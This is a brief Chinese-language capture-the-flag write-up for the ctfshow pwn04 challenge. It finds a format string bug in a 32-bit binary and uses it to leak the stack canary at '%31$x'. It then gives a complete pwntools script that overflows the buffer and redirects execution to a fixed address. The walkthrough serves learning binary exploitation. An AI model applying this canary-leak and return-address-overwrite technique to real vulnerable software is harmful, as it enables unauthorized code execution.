ctfshow上的一道pwn04
首先检查:
程序关闭了PIE,是一个32位i386程序
拖入IDA:
11行发现格式化字符串漏洞。
确定canary位置:
断点设置在printf
可以看到canary位于%31$x的位置
计算溢出量,写wp:
from pwn import*
context(log_level='debug',arch='i386')
p = remote('pwn.challenge.ctf.show',28139)
#p = process('pwn04')
if __name__ == '__main__':
p.recvline('Hello Hacker!')
canary_leak = '%31$x'
p.sendline(canary_leak)
canary = int(p.recv(),16)
print(hex(canary))
payload = b'a'*100+p32(canary)+b'a'*12+p32(0x0804859B)
p.sendline(payload)
p.interactive()